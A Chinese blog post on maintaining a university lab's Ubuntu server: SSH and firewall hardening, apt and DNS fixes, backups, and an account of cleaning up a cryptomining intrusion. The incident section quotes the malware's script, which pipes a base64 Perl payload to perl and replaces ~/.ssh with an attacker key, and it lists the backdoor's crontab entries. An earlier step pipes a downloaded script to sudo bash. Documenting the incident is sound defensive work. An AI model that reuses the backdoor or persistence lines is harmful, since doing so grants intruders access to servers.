0%

教研室服务器维护

教研室要倒闭啦,师兄毕业跑路啦!

写在前面的话

top、ls命令并不总是好用,特别是挖矿恶意程序使用rookit等方式隐藏进程、篡改系统命令,会出现CPU跑满但是top命令看不到高占用进程的情况

不想用vim又不得不在linux下改东西,可以不用nano了,这有个micro, 拿好

安装:

1
cd /usr/bin; curl https://getmic.ro | sudo bash

安全问题

教研室的服务器之前就被黑过 老师兄装的Ubuntu,默认端口默认用户名超简单密码直接远程登录,行吧 教研室出现了断层,现在的师兄们(以及并夕夕40万却没用过Linux的师姐)Linux都还没我熟,行吧 服务器以后就扔给我了,行吧

之前折腾Docker的时候看日志发现一堆乱七八糟的

1
2
grep "Accepted password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more

发现一堆可疑ip几千次登录尝试,哇,又被当小鸡扫了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
3073 Failed
2593 112.85.42.185
2471 218.92.0.168
714 112.85.42.187
363 218.92.0.188
261 112.85.42.188
103 222.186.175.220
103 222.186.175.148
86 222.186.180.41
81 222.186.173.180
78 222.186.180.8
78 222.186.180.223
74 222.186.173.154
69 222.186.175.161
65 49.88.112.55
59 222.186.180.9
59 222.186.175.182
57 222.186.180.17
57 222.186.175.167
55 222.186.175.202
55 185.164.72.251
53 222.186.175.215
51 222.186.169.194

改一下密码和SSH端口

1
sed -i "s/Port .*/Port 你的端口/g" /etc/ssh/sshd_config

安装sshfilter或者flai2ban,这里我用的fail2ban。[1]

1
2
3
sudo apt install fail2ban
sudo cp /etc/fail2ban/fail2ban.conf /etc/fail2ban/fail2ban.local
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

配置文件修改.local, 会像next.yml一样把.conf文件自动覆盖掉(直接修改那两个conf下次更新可能会覆盖掉)。

主要参数就是那个bantime和maxretry,这里我设成2小时和10次

然后启动

1
2
systemctl start fail2ban
systemctl enable fail2ban

其他操作

1
2
fail2ban-client set sshd addignoreip <IP> # IP白名单
fail2ban-client set sshd unbanip <IP> # 解封IP

还要配置一下防火墙 iptables很繁琐,不涉及太多配置的情况下可以用UFW

防火墙端口

端口用的时候要打开,不然会出各种烦人的问题,比如wget下载没开443就会443... failed: Connection refused.,如果你加了~--no-check-certificate`还是failed,那八成是防火墙的问题 查看端口开放状态

1
netstat -ntlp

或者

1
telnet ip port

Ubuntu里用ufw查看状态

1
sudo ufw status

查看指定端口的状态(没输出可能是没开)

1
netstat -ntlp|grep 443

打开443端口

1
2
3
iptables -I INPUT -p tcp --dport 443 -j ACCEPT
service iptables save
service iptables restart

使用UFW, 直接

1
sudo ufw allow 443

用iptables打开指定端口, 一般开80,443,53,22,其他按需打开

可以安装这个来永久保存配置

1
sudo apt-get install iptables-persistent

Docker默认修改iptables规则

Docker不设置会默认修改iptables规则,将端口暴露在外面,导致端口映射在安全上并没有什么卵用,要设置一下一下,可以看这里 https://www.binss.me/blog/docker-pass-through-system-firewall/

HTTPs

申请SSL证书

1
sudo apt-get install ssl-cert

然后搞一个自己的域名,因为境内服务器要备案,此计划中道崩殂

运行sudo apt-get update报错

写在前面,我看到有的镜像源示例配置都是走的HTTPS,似乎没有必要 详见Why does APT not use HTTPS?。 至于某Debian镜像源上说的什么安装apt-transport-https更是没有必要,画蛇添足

1
2
3
4
5
6
7
8
9
10
11
12
Get:1 http://mirrors.aliyun.com/ubuntu xenial InRelease [454 B]
Get:2 http://mirrors.aliyun.com/ubuntu xenial-updates InRelease [454 B]
Get:3 http://mirrors.aliyun.com/ubuntu xenial-backports InRelease [454 B]
Get:4 http://mirrors.aliyun.com/ubuntu xenial-security InRelease [454 B]
Err:1 http://mirrors.aliyun.com/ubuntu xenial InRelease
Clearsigned file isn't valid, got 'NOSPLIT' (does the network require authentication?)
Err:2 http://mirrors.aliyun.com/ubuntu xenial-updates InRelease
Clearsigned file isn't valid, got 'NOSPLIT' (does the network require authentication?)
Err:3 http://mirrors.aliyun.com/ubuntu xenial-backports InRelease
Clearsigned file isn't valid, got 'NOSPLIT' (does the network require authentication?)
Err:4 http://mirrors.aliyun.com/ubuntu xenial-security InRelease
Clearsigned file isn't valid, got 'NOSPLIT' (does the network require authentication?)

查了一下说是代理的问题,看了一下教研室的工作站竟然还有酸酸乳和bbr,一问师兄说是老板外出的时候想上学校网用这个,行吧

设置一下apt的代理

1
2
3
4
5
6
/etc/apt$ cat apt.conf

Acquire::http::proxy "http://<proxy>";
Acquire::https::proxy "https://<proxy>";
Acquire::ftp::proxy "ftp://<proxy>";
Acquire::socks::proxy "socks:<proxy>";

这里我切进目录没找到,发现有个apt.conf.d文件夹,是表示缺省的配置文件,删掉换成apt.conf 比如代理是1.2.3.4,端口1234 就改成Acquire::http::proxy "http://1.2.3.4:1234

改了一下发现不对,这边是服务端应该没开代理啊

把代理都删了

感觉可能DNS有问题,切到etc/resolv.conf看了一下

1
2
nameserver 202.112.14.21
nameserver 202.112.14.11

这个学校的DNS服务不行啊,别的都直通互联网,这个上不了谷歌不说,还经常不对外网提供解析服务 (能ping通,但是nslookup发现不对外网提供服务) 又看了一下工作站的DNS, 果然换过了 校园网暂时也没什么好的DNS,就先换了清华的 (那个DNS不是/etc/resolv.conf下的,要改/etc/resolvconf/resolv.conf.d下的base文件,第一个只是临时的DNS)

还要刷新一下DNS:sudo service networking restart

运行sudo apt-get upgrade又报了这个错Hash Sum mismatch

查了一下发现就是阿里云镜像源在教育网下的问题

算了,改镜像源吧,换了清华的

1
2
Err:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu xenial InRelease
Failed to connect to mirrors.tuna.tsinghua.edu.cn port 443: Connection timed out

依然不行, 决定明天重装

1
E: Some index files failed to download. They have been ignored, or old ones used instead.

看了一下,工作站那台DNS是cat /etc/resolv.conf是127.0.0.1,是DNSmasq托管的,而服务器上的还是你电的DNS,决定改了。 工作站上应该是这样的

1
2
# /etc/network/interfaces
dns-nameservers 8.8.8.8

改了之后服务器的resolv.conf也是127.0.0.1了 又上大清的网站看了一下,发现居然在维护

Picture

换成你电的,好了,收工

Picture

又报了Target Translations (main/i18n/Translation-en) is configured multiple times in, 查了一下是指定apt源冲突了,删掉一个就好了

查看配置

本来想用neofetch查看一下服务器的配置,结果apt装不了。 看了一下官方文档发现16.10要这样

Add PPA sudo add-apt-repository ppa:dawidd0811/neofetch Update repositories sudo apt update Install the package sudo apt install neofetch (安装neofetch还能下载编译,可能还快一点)

算了,好慢啊,直接用sudo dmidecode看吧,screenfetch也行 英特尔的e5 2630 v4,20核CPU,没显卡。这CPU平时居然没人用,空跑,居然还有公网ip,我仿佛发现了宝藏。不出意外就留给我挥(bei)霍(guo)了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
                         ./+o+-       [email protected]
yyyyy- -yyyyyy+ OS: Ubuntu 16.04 xenial
://+//////-yyyyyyo Kernel: x86_64 Linux 4.12.14-041214-generic
.++ .:/++++++/-.+sss/` Uptime: 21h 36m
.:++o: /++++++++/:--:/- Packages: 718
o:+o+:++.`..```.-/oo+++++/ Shell: bash 4.3.48
.:+o:+o/. `+sssoo+/ WM: Not Found
.++/+:+oo+o:` /sssooo. CPU: Intel Xeon CPU E5-2630 v4 @ 3.1GHz
/+++//+:`oo+o /::--:. RAM: 1348MiB / 32074MiB
\+/+o+++`o++o ++////.
.++.o+++oo+:` /dddhhh.
.+.o+oo:. `oddhhhh+
\+.++o+o``-````.:ohdhhhhh+
`:o+++ `ohhhhhhhhyo++os:
.o:`.syhhhhhhh/.oo++o`
/osyyyyyyo++ooo+++/
````` +oo+++o\:
`oo++.

更新

发现不是镜像源的问题,是你电的镜像源没安排上https,这个服务器好像是证书的问题,https全都用不了,wget也不行。

滚动升级

不存在的,这又不是arch系,不要乱升,乱升级滚挂了是要背锅的 要升可以用

1
sudo do-release-upgrade

升完记得把apt源给换了 看到有安全更新,说 >System restart required

reboot一下就行了

网络问题

网很慢

很迷,有的地方很快,有的地方就几乎慢到断线。我的联通就经常ping不同。 据说老蔡师兄他那里也经常ping不通

Picture

就是网不好。。。而且上行网速更差,有的时候只有100k/s(用的是一个月20块的基础套餐,没加钱)

1
2
3
4
Testing download speed..................................
Download: 11.72 Mbyte/s
Testing upload speed....................................
Upload: 2.45 Mbyte/s

掉线

受疫情影响,全教研室在家连服务器,但是服务器的网络还总掉线 跑一个自动重启网络服务的脚本,直接抄这里

备份和恢复

师兄也没装什么东西,用的cp直接备份了点文件,一言不合重装系统。 先暂时用cp备份一次 挂载一下盘(比如挂到/mnt/mydata),用cp复制 (挂载看这里[3])

1
2
3
mount /dev/sdb7 /mnt
nohup cp -pdr /srv /mnt/mydata >> logs.out 2>&1 &
umount /dev/sdb7

这样将/srv目录下的文件全部拷贝到mydata下面. 文件很大,cp没有进度条,以后试试gcp之类的命令,先这样吧

看了一下,有接近300G的数据,用cp命令太慢了 用dd,把,整盘拷贝(dd命令不要乱用,一不小心就删库了)

拷贝完umount /mydata再拔

下次试试rsync同步,据说能断点续传和md5验证

使用教研室服务器下载

教研室的服务器有一个单独的猫和ip,网速绝大多数时候不低于50M/s,今天才发现比我的小破工位上的网速快不少。 以后下数据集和数据库文件之类的大东西就用它了!

使用Tmux

(其实MobaXterm有一个叫Multiexec的功能) 正在备份文件结果网断了(没办法,校园网就是这么....) 这时就要用tmux之类的工具了

1
sudo apt-get install tmux

图形界面

MobaXterm内嵌有Xserver,可以调出图形化窗口。 比如nedit,Emacs之类的 Picture 已经足够应付简单的图形化界面需求了 完整的桌面需求请直接VNC或teamviewer到工作站操作。

卸载遗留的Docker并重装

目前还报这样的错

1
Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

似乎重装iptables的时候会直接把那个Docker的一部分依赖卸掉 (Docker好像还会直接修改默认的防火墙规则,emmmm)

更新,解决了,是网络问题,离线装就好了

教研室的阿里云

真的,有毒哇 Picture 是的,师兄跟我说没有apt。。。行吧

装一个

等等,不对劲,这是Centos啊

Picture

行吧...........那没事了。师兄真的.....我感觉我上了贼船

报备

按学校信息中心的要求,固定IP都需要申请报备,还有一堆乱七八糟的事

系统日志和杀毒

学校信息中心要求备份系统日志和杀软。 然而这Linux有什么装杀软的必要吗?防火墙就完事了。 行吧,交差还是要装模做样的应付一下

安装ClamAV:

1
sudo apt-get install clamav

直接扫描报错了,要升级病毒库sudo freshclam

1
2
LibClamAV Error: cli_loaddbdir(): No supported database files found in /var/lib/clamav
ERROR: Can't open file or directory

然后扫一下

1
nohup clamscan -r -i /  &

系统安装日志,不知道要交什么,索性把apt和dpkg的日志交了,在/var/log//var/log/apt/目录下面

端口报备

一般22,80,443,再加上几个常用的端口就够了 实在不行还有端口转发

看一下开了的端口

1
nc -znv 211.XXX.XXX.XXX 1-10000  2>&1 | grep succeeded

域名

暂时还没有,备案麻烦没弄

清理Trash

工作站桌面变得非常卡,clamscan扫描home目录也扫了整整两天,看了一下发现有前前任师兄几百个G的数据。使用rm之后跑到了.local文件夹下。使用跑路命令把它们删掉。(最好不要把 .local全删了,只删Trash就行了.local/share/Trash)

其他

Gitlab占用过高的问题等见瞎折腾记录(其实没有特殊需求可以用Gogs,小声逼逼) 在服务器上部署jupyter参考搭建 ipython/jupyter notebook 服务器

远程开发

为什么要远程呢,因为我的电脑是小破i5,8G内存,装双系统不太行,虚拟机更不行。用wsl真的不如直接上服务器20核CPU、工作站两块1080pi(还有单独的网线和公网IP)。配合SSH端口转发和VSCode、JB全家桶,还是很舒服的。

部署项目

标注工具doccano

这里以开源标注工具doccano为例(该项目提供了Docker镜像和直接部署的方法以及docker-compose示例文件,还给了aws等一键部署脚本)

我们clone下来,修改settings.py文件

最简单的方法就是直接上docker

1
2
3
$ git clone https://github.com/doccano/doccano.git
$ cd doccano
$ docker-compose -f docker-compose.prod.yml up

docker打包通常会很大,动不动就上G了,一些轻量且不至于弄坏系统环境的东西建议还是裸跑

一次被黑记录

1
2
3
4
5
CPU  [||||||||||||||||                 51.8%]   CPU -    51.8%  nice:     0.0%  ctx_sw:    8K   MEM -   21.7%  active:    5.31G   SWAP -    0.0%   LOAD    20-core
MEM [||||||| 21.7%] user: 51.3% irq: 0.0% inter: 5508 total: 31.3G inactive: 4.27G total: 976M
····
lo 0b 0b 999.5 0.0 2.34G 2.44M 2654 root 67h8:58 16 0 S ? ? ./cron
2020-01-15 16:17:54 CST

症状:昨天(2020.1.14)root上不去了,rsa密钥也挂了,以为是网的问题,今天一试还不行。用自己的另一个账号登了一下,发现su root居然permission denied了。怀疑是被黑了,一看系统占用,有挖矿程序在跑,而且网络带宽占用也很高,怀疑是被当成肉鸡对外攻击了。看了一下系统日志,是一月13号被黑的,照着网上清了一遍。从此禁用密码登录(之前就想禁,师兄嫌麻烦)。MySQL也禁用密码改ssl

clamav再扫一遍

1
nohup clamscan -r /root 2 >> err.out &

更新:

之前没清干净,貌似又被黑了

症状,运行apt update的时候

1
2
3
4
Errors were encountered while processing:
clamav-freshclam
clamav
E: Sub-process /usr/bin/dpkg returned an error code (1)

然而运行了一下freshclam

1
2
3
4
5
[email protected]:~# freshclam
Sat Mar 7 16:49:25 2020 -> ClamAV update process started at Sat Mar 7 16:49:25 2020
Sat Mar 7 16:49:25 2020 -> daily.cld database is up to date (version: 25743, sigs: 2209759, f-level: 63, builder: raynman)
Sat Mar 7 16:49:25 2020 -> main.cvd database is up to date (version: 59, sigs: 4564902, f-level: 60, builder: sigmgr)
Sat Mar 7 16:49:25 2020 -> bytecode.cvd database is up to date (version: 331, sigs: 94, f-level: 63, builder: anvilleg)

居然显示病毒库是最新的

可疑进程 /opt/atlassian/confluence/jre//bin/java -Djava.ut

然后看了一下有没有可疑的定时任务

1
2
3
4
5
6
[email protected]:~# crontab -l
0 0 */3 * * /root/.bashtemp/a/upd>/dev/null 2>&1
@reboot /root/.bashtemp/a/upd>/dev/null 2>&1
5 8 * * 0 /root/.bashtemp/b/sync>/dev/null 2>&1
@reboot /root/.bashtemp/b/sync>/dev/null 2>&1
0 0 */3 * * /tmp/.X19-unix/.rsync/c/aptitude>/dev/null 2>&1

那个tmp下面有的时候是0 0 */3 * * /tmp/.X21-unix/.rsync/c/aptitude>/dev/null 2>&1

这个.X某某-unix应该是想伪装成.X11-unixX11转发的临时文件

[email protected]:~/.bashtemp# ps aux | grep cron root 140526 0.0 0.0 12944 1028 pts/1 S+ 17:16 0:00 grep --color=auto cron

看了一下这个目录下面,有鬼,应该就是它了

1
2
[email protected]:~/.bashtemp# ls
a b cron.d dir2.dir

谷歌随手一搜这个.bashtemp,全都是被挖矿的被黑的,先干掉再说 http://blog.itpub.net/31559758/viewspace-2667801/ https://www.anquanke.com/post/id/197662 更新,又看到几个的 http://m.lanhusoft.com/Article/745.html https://yulijia.net/cn/操作系统/2020/03/03/Trojan-attack-analysis.html#fn:2 把这个文件夹拉下来,可以看到里面有个run文件

1
2
3
4
5
6
#!/bin/sh
nohup ./stop>>/dev/null &
sleep 5
echo "ZXZhbCB1bnBh....这里太长略过..." | base64 --decode | perl
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3N...
这里一段密钥太长略过...fckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh

这里的rsa密钥和那一串base64编码的perl脚本太长,单独放出来

rsa:

1
AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr

perl脚本(base64解码之后):

1
eval unpack u=>q{_"FUY(...中间这一段还是太长略过...}

使用perl的unpack把后面那一段解包之后还是有900多行,太长了,放到Github gist上了[4] (按照挖矿佬的风俗是不是应该放到pastebin上?)

我上面放的那两篇文章里的情况和这个几乎一样。大概就是先运行一个perl的脚本,然后把你的SSH密钥删了,插入它的后门密钥。进程伪装成rsync之类的东西。运行后会在\tmp\下面产生一个dota3文件

看到了一个可疑的欧洲IP:45.9.148.125 和一个可疑的网站:www.minpop.com

后续清理工作

干掉定时任务crontab -e,把上面那几条定时任务全删了 删除~/.ssh目录底下可疑的authorized_keys 删除定时任务中的可疑文件夹.bashtemp.X21-unix


  1. 1.使用 Fail2Ban 加固你的 Linux 服务器 ↩︎
  2. 3.细说linux挂载——mount,及其他…… ↩︎
  3. 4.完整的perl脚本 ↩︎